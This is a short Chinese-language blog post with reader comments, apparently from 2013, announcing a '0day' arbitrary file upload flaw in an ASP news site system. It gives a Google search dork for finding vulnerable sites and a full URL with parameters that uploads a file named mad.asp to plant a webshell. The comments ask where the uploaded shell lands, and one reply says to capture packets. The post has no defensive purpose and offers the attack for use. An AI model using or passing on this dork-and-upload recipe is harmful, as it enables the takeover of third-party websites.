今天呢，发布一个0day，是一个任意上传漏洞。
谷歌关键字：inurl:newslist.asp?NodeCode= 然后在域名后面添加admin/uploadfile.asp?uppath=mad.asp&upname=&uptext=form1.mad.asp
任意上传拿shell
很吃香哦
出图测试
有人回复时邮件通知我
请问怎么找马地址 我的博客
抓包
上传成功后的文件地址是什么？
请问怎么找马地址 我的博客
2013-03-16 下午 4:11抓包
2013-03-17 下午 8:16上传成功后的文件地址是什么？
2017-01-06 上午 4:35